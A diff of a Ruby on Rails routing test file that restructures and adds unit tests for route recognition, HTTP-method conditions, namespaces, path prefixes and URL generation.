+ def test_recognize_with_encoded_id_and_regex
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
end
- def test_recognize_with_conditions
- Object.const_set(:PeopleController, Class.new)
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+ end
- set.draw do |map|
- map.with_options(:controller => "people") do |people|
- people.people "/people", :action => "index", :conditions => { :method => :get }
- people.connect "/people", :action => "create", :conditions => { :method => :post }
- people.person "/people/:id", :action => "show", :conditions => { :method => :get }
- people.connect "/people/:id", :action => "update", :conditions => { :method => :put }
- people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
- end
+ def test_recognize_with_conditions
+ Object.const_set(:PeopleController, Class.new)
+
+ set.draw do |map|
+ map.with_options(:controller => "people") do |people|
+ people.people "/people", :action => "index", :conditions => { :method => :get }
+ people.connect "/people", :action => "create", :conditions => { :method => :post }
+ people.person "/people/:id", :action => "show", :conditions => { :method => :get }
+ people.connect "/people/:id", :action => "update", :conditions => { :method => :put }
+ people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
end
+ end
+
+ request.path = "/people"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("index", request.path_parameters[:action])
+ request.recycle!
+
+ request.env["REQUEST_METHOD"] = "POST"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("create", request.path_parameters[:action])
+ request.recycle!
+
+ request.env["REQUEST_METHOD"] = "PUT"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("update", request.path_parameters[:action])
+ request.recycle!
+
+ assert_raise(ActionController::UnknownHttpMethod) {
+ request.env["REQUEST_METHOD"] = "BACON"
+ set.recognize(request)
+ }
+ request.recycle!
+
+ request.path = "/people/5"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("show", request.path_parameters[:action])
+ assert_equal("5", request.path_parameters[:id])
+ request.recycle!
+
+ request.env["REQUEST_METHOD"] = "PUT"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("update", request.path_parameters[:action])
+ assert_equal("5", request.path_parameters[:id])
+ request.recycle!
- request.path = "/people"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("index", request.path_parameters[:action])
- request.recycle!
+ request.env["REQUEST_METHOD"] = "DELETE"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("destroy", request.path_parameters[:action])
+ assert_equal("5", request.path_parameters[:id])
+ request.recycle!
+ begin
request.env["REQUEST_METHOD"] = "POST"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("create", request.path_parameters[:action])
- request.recycle!
-
- request.env["REQUEST_METHOD"] = "PUT"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("update", request.path_parameters[:action])
- request.recycle!
-
- assert_raises(ActionController::UnknownHttpMethod) {
- request.env["REQUEST_METHOD"] = "BACON"
- set.recognize(request)
- }
- request.recycle!
-
- request.path = "/people/5"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("show", request.path_parameters[:action])
- assert_equal("5", request.path_parameters[:id])
- request.recycle!
-
- request.env["REQUEST_METHOD"] = "PUT"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("update", request.path_parameters[:action])
- assert_equal("5", request.path_parameters[:id])
- request.recycle!
-
- request.env["REQUEST_METHOD"] = "DELETE"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("destroy", request.path_parameters[:action])
- assert_equal("5", request.path_parameters[:id])
- request.recycle!
+ set.recognize(request)
+ flunk 'Should have raised MethodNotAllowed'
+ rescue ActionController::MethodNotAllowed => e
+ assert_equal [:get, :put, :delete], e.allowed_methods
+ end
+ request.recycle!
- begin
- request.env["REQUEST_METHOD"] = "POST"
- set.recognize(request)
- flunk 'Should have raised MethodNotAllowed'
- rescue ActionController::MethodNotAllowed => e
- assert_equal [:get, :put, :delete], e.allowed_methods
- end
- request.recycle!
+ ensure
+ Object.send(:remove_const, :PeopleController)
+ end
- ensure
- Object.send(:remove_const, :PeopleController)
+ def test_recognize_with_alias_in_conditions
+ Object.const_set(:PeopleController, Class.new)
+
+ set.draw do |map|
+ map.people "/people", :controller => 'people', :action => "index",
+ :conditions => { :method => :get }
+ map.root :people
end
- def test_recognize_with_alias_in_conditions
- Object.const_set(:PeopleController, Class.new)
+ request.path = "/people"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("people", request.path_parameters[:controller])
+ assert_equal("index", request.path_parameters[:action])
- set.draw do |map|
- map.people "/people", :controller => 'people', :action => "index",
- :conditions => { :method => :get }
- map.root :people
- end
+ request.path = "/"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("people", request.path_parameters[:controller])
+ assert_equal("index", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :PeopleController)
+ end
- request.path = "/people"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("people", request.path_parameters[:controller])
- assert_equal("index", request.path_parameters[:action])
+ def test_typo_recognition
+ Object.const_set(:ArticlesController, Class.new)
- request.path = "/"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("people", request.path_parameters[:controller])
- assert_equal("index", request.path_parameters[:action])
- ensure
- Object.send(:remove_const, :PeopleController)
+ set.draw do |map|
+ map.connect 'articles/:year/:month/:day/:title',
+ :controller => 'articles', :action => 'permalink',
+ :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
end
- def test_typo_recognition
- Object.const_set(:ArticlesController, Class.new)
-
- set.draw do |map|
- map.connect 'articles/:year/:month/:day/:title',
- :controller => 'articles', :action => 'permalink',
- :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
- end
+ request.path = "/articles/2005/11/05/a-very-interesting-article"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("permalink", request.path_parameters[:action])
+ assert_equal("2005", request.path_parameters[:year])
+ assert_equal("11", request.path_parameters[:month])
+ assert_equal("05", request.path_parameters[:day])
+ assert_equal("a-very-interesting-article", request.path_parameters[:title])
- request.path = "/articles/2005/11/05/a-very-interesting-article"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("permalink", request.path_parameters[:action])
- assert_equal("2005", request.path_parameters[:year])
- assert_equal("11", request.path_parameters[:month])
- assert_equal("05", request.path_parameters[:day])
- assert_equal("a-very-interesting-article", request.path_parameters[:title])
+ ensure
+ Object.send(:remove_const, :ArticlesController)
+ end
- ensure
- Object.send(:remove_const, :ArticlesController)
+ def test_routing_traversal_does_not_load_extra_classes
+ assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+ set.draw do |map|
+ map.connect '/profile', :controller => 'profile'
end
- def test_routing_traversal_does_not_load_extra_classes
- assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
- set.draw do |map|
- map.connect '/profile', :controller => 'profile'
- end
+ request.path = '/profile'
- request.path = '/profile'
+ set.recognize(request) rescue nil
- set.recognize(request) rescue nil
+ assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+ end
+
+ def test_recognize_with_conditions_and_format
+ Object.const_set(:PeopleController, Class.new)
- assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+ set.draw do |map|
+ map.with_options(:controller => "people") do |people|
+ people.person "/people/:id", :action => "show", :conditions => { :method => :get }
+ people.connect "/people/:id", :action => "update", :conditions => { :method => :put }
+ people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
+ end
end
- def test_recognize_with_conditions_and_format
- Object.const_set(:PeopleController, Class.new)
+ request.path = "/people/5"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("show", request.path_parameters[:action])
+ assert_equal("5", request.path_parameters[:id])
+ request.recycle!
- set.draw do |map|
- map.with_options(:controller => "people") do |people|
- people.person "/people/:id", :action => "show", :conditions => { :method => :get }
- people.connect "/people/:id", :action => "update", :conditions => { :method => :put }
- people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
- end
- end
+ request.env["REQUEST_METHOD"] = "PUT"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("update", request.path_parameters[:action])
+ request.recycle!
- request.path = "/people/5"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("show", request.path_parameters[:action])
- assert_equal("5", request.path_parameters[:id])
- request.recycle!
-
- request.env["REQUEST_METHOD"] = "PUT"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("update", request.path_parameters[:action])
- request.recycle!
-
- request.path = "/people/5.png"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("show", request.path_parameters[:action])
- assert_equal("5", request.path_parameters[:id])
- assert_equal("png", request.path_parameters[:_format])
- ensure
- Object.send(:remove_const, :PeopleController)
- end
-
- def test_generate_with_default_action
- set.draw do |map|
- map.connect "/people", :controller => "people"
- map.connect "/people/list", :controller => "people", :action => "list"
- end
+ request.path = "/people/5.png"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("show", request.path_parameters[:action])
+ assert_equal("5", request.path_parameters[:id])
+ assert_equal("png", request.path_parameters[:_format])
+ ensure
+ Object.send(:remove_const, :PeopleController)
+ end
- url = set.generate(:controller => "people", :action => "list")
- assert_equal "/people/list", url
+ def test_generate_with_default_action
+ set.draw do |map|
+ map.connect "/people", :controller => "people"
+ map.connect "/people/list", :controller => "people", :action => "list"
end
- def test_root_map
- Object.const_set(:PeopleController, Class.new)
+ url = set.generate(:controller => "people", :action => "list")
+ assert_equal "/people/list", url
+ end
- set.draw { |map| map.root :controller => "people" }
+ def test_root_map
+ Object.const_set(:PeopleController, Class.new)
- request.path = ""
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("people", request.path_parameters[:controller])
- assert_equal("index", request.path_parameters[:action])
- ensure
- Object.send(:remove_const, :PeopleController)
- end
+ set.draw { |map| map.root :controller => "people" }
- def test_namespace
- Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+ request.path = ""
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("people", request.path_parameters[:controller])
+ assert_equal("index", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :PeopleController)
+ end
- set.draw do |map|
+ def test_namespace
+ Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
- map.namespace 'api' do |api|
- api.route 'inventory', :controller => "products", :action => 'inventory'
- end
+ set.draw do |map|
+ map.namespace 'api' do |api|
+ api.route 'inventory', :controller => "products", :action => 'inventory'
end
- request.path = "/api/inventory"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("api/products", request.path_parameters[:controller])
- assert_equal("inventory", request.path_parameters[:action])
- ensure
- Object.send(:remove_const, :Api)
end
- def test_namespaced_root_map
- Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+ request.path = "/api/inventory"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("api/products", request.path_parameters[:controller])
+ assert_equal("inventory", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :Api)
+ end
- set.draw do |map|
+ def test_namespaced_root_map
+ Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
- map.namespace 'api' do |api|
- api.root :controller => "products"
- end
+ set.draw do |map|
+ map.namespace 'api' do |api|
+ api.root :controller => "products"
end
- request.path = "/api"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("api/products", request.path_parameters[:controller])
- assert_equal("index", request.path_parameters[:action])
- ensure
- Object.send(:remove_const, :Api)
end
- def test_namespace_with_path_prefix
- Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
- set.draw do |map|
+ request.path = "/api"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("api/products", request.path_parameters[:controller])
+ assert_equal("index", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :Api)
+ end
- map.namespace 'api', :path_prefix => 'prefix' do |api|
- api.route 'inventory', :controller => "products", :action => 'inventory'
- end
+ def test_namespace_with_path_prefix
+ Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+ set.draw do |map|
+ map.namespace 'api', :path_prefix => 'prefix' do |api|
+ api.route 'inventory', :controller => "products", :action => 'inventory'
end
-
- request.path = "/prefix/inventory"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("api/products", request.path_parameters[:controller])
- assert_equal("inventory", request.path_parameters[:action])
- ensure
- Object.send(:remove_const, :Api)
end
- def test_generate_finds_best_fit
- set.draw do |map|
- map.connect "/people", :controller => "people", :action => "index"
- map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
- end
+ request.path = "/prefix/inventory"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("api/products", request.path_parameters[:controller])
+ assert_equal("inventory", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :Api)
+ end
- url = set.generate(:controller => "people", :action => "index", :ws => true)
- assert_equal "/ws/people", url
- end
+ def test_namespace_with_blank_path_prefix
+ Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
- def test_generate_changes_controller_module
- set.draw { |map| map.connect ':controller/:action/:id' }
- current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
- url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
- assert_equal "/foo/bar/baz/7", url
+ set.draw do |map|
+ map.namespace 'api', :path_prefix => '' do |api|
+ api.route 'inventory', :controller => "products", :action => 'inventory'
+ end
end
- def test_id_is_not_impossibly_sticky
- set.draw do |map|
- map.connect 'foo/:number', :controller => "people", :action => "index"
- map.connect ':controller/:action/:id'
- end
+ request.path = "/inventory"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("api/products", request.path_parameters[:controller])
+ assert_equal("inventory", request.path_parameters[:action])
+ ensure
+ Object.send(:remove_const, :Api)
+ end
- url = set.generate({:controller => "people", :action => "index", :number => 3},
- {:controller => "people", :action => "index", :id => "21"})
- assert_equal "/foo/3", url
+ def test_generate_finds_best_fit
+ set.draw do |map|
+ map.connect "/people", :controller => "people", :action => "index"
+ map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
end
- def test_id_is_sticky_when_it_ought_to_be
- set.draw do |map|
- map.connect ':controller/:id/:action'
- end
+ url = set.generate(:controller => "people", :action => "index", :ws => true)
+ assert_equal "/ws/people", url
+ end
- url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
- assert_equal "/people/7/destroy", url
+ def test_generate_changes_controller_module
+ set.draw { |map| map.connect ':controller/:action/:id' }
+ current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
+ url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
+ assert_equal "/foo/bar/baz/7", url
+ end
+
+ def test_id_is_not_impossibly_sticky
+ set.draw do |map|
+ map.connect 'foo/:number', :controller => "people", :action => "index"
+ map.connect ':controller/:action/:id'
end
- def test_use_static_path_when_possible
- set.draw do |map|
- map.connect 'about', :controller => "welcome", :action => "about"
- map.connect ':controller/:action/:id'
- end
+ url = set.generate({:controller => "people", :action => "index", :number => 3},
+ {:controller => "people", :action => "index", :id => "21"})
+ assert_equal "/foo/3", url
+ end
- url = set.generate({:controller => "welcome", :action => "about"},
- {:controller => "welcome", :action => "get", :id => "7"})
- assert_equal "/about", url
+ def test_id_is_sticky_when_it_ought_to_be
+ set.draw do |map|
+ map.connect ':controller/:id/:action'
end
- def test_generate
- set.draw { |map| map.connect ':controller/:action/:id' }
+ url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
+ assert_equal "/people/7/destroy", url
+ end
- args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
- assert_equal "/foo/bar/7?x=y", set.generate(args)
- assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
- assert_equal [:x], set.extra_keys(args)
+ def test_use_static_path_when_possible
+ set.draw do |map|
+ map.connect 'about', :controller => "welcome", :action => "about"
+ map.connect ':controller/:action/:id'
end
- def test_generate_with_path_prefix
- set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
+ url = set.generate({:controller => "welcome", :action => "about"},
+ {:controller => "welcome", :action => "get", :id => "7"})
+ assert_equal "/about", url
+ end
- args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
- assert_equal "/my/foo/bar/7?x=y", set.generate(args)
- end
+ def test_generate
+ set.draw { |map| map.connect ':controller/:action/:id' }
- def test_named_routes_are_never_relative_to_modules
- set.draw do |map|
- map.connect "/connection/manage/:action", :controller => 'connection/manage'
- map.connect "/connection/connection", :controller => "connection/connection"
- map.family_connection "/connection", :controller => "connection"
- end
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/foo/bar/7?x=y", set.generate(args)
+ assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
+ assert_equal [:x], set.extra_keys(args)
+ end
- url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
- assert_equal "/connection/connection", url
+ def test_generate_with_path_prefix
+ set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
- url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
- assert_equal "/connection", url
- end
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/my/foo/bar/7?x=y", set.generate(args)
+ end
- def test_action_left_off_when_id_is_recalled
- set.draw do |map|
- map.connect ':controller/:action/:id'
- end
- assert_equal '/post', set.generate(
- {:controller => 'post', :action => 'index'},
- {:controller => 'post', :action => 'show', :id => '10'}
- )
+ def test_generate_with_blank_path_prefix
+ set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => '' }
+
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/foo/bar/7?x=y", set.generate(args)
+ end
+
+ def test_named_routes_are_never_relative_to_modules
+ set.draw do |map|
+ map.connect "/connection/manage/:action", :controller => 'connection/manage'
+ map.connect "/connection/connection", :controller => "connection/connection"
+ map.family_connection "/connection", :controller => "connection"
end
- def test_query_params_will_be_shown_when_recalled
- set.draw do |map|
- map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
- map.connect ':controller/:action/:id'
- end
- assert_equal '/post/edit?parameter=1', set.generate(
- {:action => 'edit', :parameter => 1},
- {:controller => 'post', :action => 'show', :parameter => 1}
- )
+ url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
+ assert_equal "/connection/connection", url
+
+ url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
+ assert_equal "/connection", url
+ end
+
+ def test_action_left_off_when_id_is_recalled
+ set.draw do |map|
+ map.connect ':controller/:action/:id'
end
+ assert_equal '/post', set.generate(
+ {:controller => 'post', :action => 'index'},
+ {:controller => 'post', :action => 'show', :id => '10'}
+ )
+ end
- def test_expiry_determination_should_consider_values_with_to_param
- set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
- assert_equal '/projects/1/post/show', set.generate(
- {:action => 'show', :project_id => 1},
- {:controller => 'post', :action => 'show', :project_id => '1'})
+ def test_query_params_will_be_shown_when_recalled
+ set.draw do |map|
+ map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
+ map.connect ':controller/:action/:id'
end
+ assert_equal '/post/edit?parameter=1', set.generate(
+ {:action => 'edit', :parameter => 1},
+ {:controller => 'post', :action => 'show', :parameter => 1}
+ )
+ end
- def test_generate_all
- set.draw do |map|
- map.connect 'show_post/:id', :controller => 'post', :action => 'show'
- map.connect ':controller/:action/:id'
- end
- all = set.generate(
- {:action => 'show', :id => 10, :generate_all => true},
- {:controller => 'post', :action => 'show'}
- )
- assert_equal 2, all.length
- assert_equal '/show_post/10', all.first
- assert_equal '/post/show/10', all.last
+ def test_format_is_not_inherit
+ set.draw do |map|
+ map.connect '/posts.:format', :controller => 'posts'
end
- def test_named_route_in_nested_resource
- set.draw do |map|
- map.resources :projects do |project|
- project.milestones 'milestones', :controller => 'milestones', :action => 'index'
- end
- end
+ assert_equal '/posts', set.generate(
+ {:controller => 'posts'},
+ {:controller => 'posts', :action => 'index', :format => 'xml'}
+ )
- request.path = "/projects/1/milestones"
- request.env["REQUEST_METHOD"] = "GET"
- assert_nothing_raised { set.recognize(request) }
- assert_equal("milestones", request.path_parameters[:controller])
- assert_equal("index", request.path_parameters[:action])
- end
+ assert_equal '/posts.xml', set.generate(
+ {:controller => 'posts', :format => 'xml'},
+ {:controller => 'posts', :action => 'index', :format => 'xml'}
+ )
+ end
- def test_setting_root_in_namespace_using_symbol
- assert_nothing_raised do
- set.draw do |map|
- map.namespace :admin do |admin|
- admin.root :controller => 'home'
- end
- end
- end
+ def test_expiry_determination_should_consider_values_with_to_param
+ set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
+ assert_equal '/projects/1/post/show', set.generate(
+ {:action => 'show', :project_id => 1},
+ {:controller => 'post', :action => 'show', :project_id => '1'})
+ end
+
+ def test_generate_all
+ set.draw do |map|
+ map.connect 'show_post/:id', :controller => 'post', :action => 'show'
+ map.connect ':controller/:action/:id'
end
+ all = set.generate(
+ {:action => 'show', :id => 10, :generate_all => true},
+ {:controller => 'post', :action => 'show'}
+ )
+ assert_equal 2, all.length
+ assert_equal '/show_post/10', all.first
+ assert_equal '/post/show/10', all.last
+ end
- def test_setting_root_in_namespace_using_string
- assert_nothing_raised do
- set.draw do |map|
- map.namespace 'admin' do |admin|
- admin.root :controller => 'home'
- end
- end
+ def test_named_route_in_nested_resource
+ set.draw do |map|
+ map.resources :projects do |project|
+ project.milestones 'milestones', :controller => 'milestones', :action => 'index'
end
end
- def test_route_requirements_with_unsupported_regexp_options_must_error
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => /(david|jamis)/m}
+ request.path = "/projects/1/milestones"
+ request.env["REQUEST_METHOD"] = "GET"
+ assert_nothing_raised { set.recognize(request) }
+ assert_equal("milestones", request.path_parameters[:controller])
+ assert_equal("index", request.path_parameters[:action])
+ end
+
+ def test_setting_root_in_namespace_using_symbol
+ assert_nothing_raised do
+ set.draw do |map|
+ map.namespace :admin do |admin|
+ admin.root :controller => 'home'
end
end
end
+ end
- def test_route_requirements_with_supported_options_must_not_error
- assert_nothing_raised do
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => /(david|jamis)/i}
- end
- end
- assert_nothing_raised do
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => / # Desperately overcommented regexp
- ( #Either
- david #The Creator
- | #Or
- jamis #The Deployer
- )/x}
+ def test_setting_root_in_namespace_using_string
+ assert_nothing_raised do
+ set.draw do |map|
+ map.namespace 'admin' do |admin|
+ admin.root :controller => 'home'
end
end
end
+ end
- def test_route_requirement_recognize_with_ignore_case
+ def test_route_requirements_with_unsupported_regexp_options_must_error
+ assert_raise ArgumentError do
set.draw do |map|
map.connect 'page/:name', :controller => 'pages',
:action => 'show',
- :requirements => {:name => /(david|jamis)/i}
+ :requirements => {:name => /(david|jamis)/m}
end
- assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
- assert_raises ActionController::RoutingError do
- set.recognize_path('/page/davidjamis')
- end
- assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
end
+ end
- def test_route_requirement_generate_with_ignore_case
+ def test_route_requirements_with_supported_options_must_not_error
+ assert_nothing_raised do
set.draw do |map|
map.connect 'page/:name', :controller => 'pages',
:action => 'show',
:requirements => {:name => /(david|jamis)/i}
end
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
- assert_equal "/page/david", url
- assert_raises ActionController::RoutingError do
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
- end
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
- assert_equal "/page/JAMIS", url
end
-
- def test_route_requirement_recognize_with_extended_syntax
+ assert_nothing_raised do
set.draw do |map|
map.connect 'page/:name', :controller => 'pages',
:action => 'show',
@@ -2330,142 +2375,183 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
jamis #The Deployer
)/x}
end
- assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
- assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
- assert_raises ActionController::RoutingError do
- set.recognize_path('/page/david #The Creator')
- end
- assert_raises ActionController::RoutingError do
- set.recognize_path('/page/David')
- end
end
+ end
- def test_route_requirement_generate_with_extended_syntax
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => / # Desperately overcommented regexp
- ( #Either
- david #The Creator
- | #Or
- jamis #The Deployer
- )/x}
- end
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
- assert_equal "/page/david", url
- assert_raises ActionController::RoutingError do
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
- end
- assert_raises ActionController::RoutingError do
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
- end
+ def test_route_requirement_recognize_with_ignore_case
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => /(david|jamis)/i}
end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/davidjamis')
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
+ end
- def test_route_requirement_generate_with_xi_modifiers
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => / # Desperately overcommented regexp
- ( #Either
- david #The Creator
- | #Or
- jamis #The Deployer
- )/xi}
- end
- url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
- assert_equal "/page/JAMIS", url
+ def test_route_requirement_generate_with_ignore_case
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => /(david|jamis)/i}
+ end
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+ assert_equal "/page/david", url
+ assert_raise ActionController::RoutingError do
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
end
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+ assert_equal "/page/JAMIS", url
+ end
- def test_route_requirement_recognize_with_xi_modifiers
- set.draw do |map|
- map.connect 'page/:name', :controller => 'pages',
- :action => 'show',
- :requirements => {:name => / # Desperately overcommented regexp
- ( #Either
- david #The Creator
- | #Or
- jamis #The Deployer
- )/xi}
- end
- assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
+ def test_route_requirement_recognize_with_extended_syntax
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/x}
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/david #The Creator')
+ end
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/David')
end
end
- class RouteLoadingTest < Test::Unit::TestCase
- def setup
- routes.instance_variable_set '@routes_last_modified', nil
- silence_warnings { Object.const_set :RAILS_ROOT, '.' }
- routes.add_configuration_file(File.join(RAILS_ROOT, 'config', 'routes.rb'))
+ def test_route_requirement_generate_with_extended_syntax
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/x}
+ end
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+ assert_equal "/page/david", url
+ assert_raise ActionController::RoutingError do
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
+ end
+ assert_raise ActionController::RoutingError do
+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+ end
+ end
- @stat = stub_everything
+ def test_route_requirement_generate_with_xi_modifiers
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/xi}
end
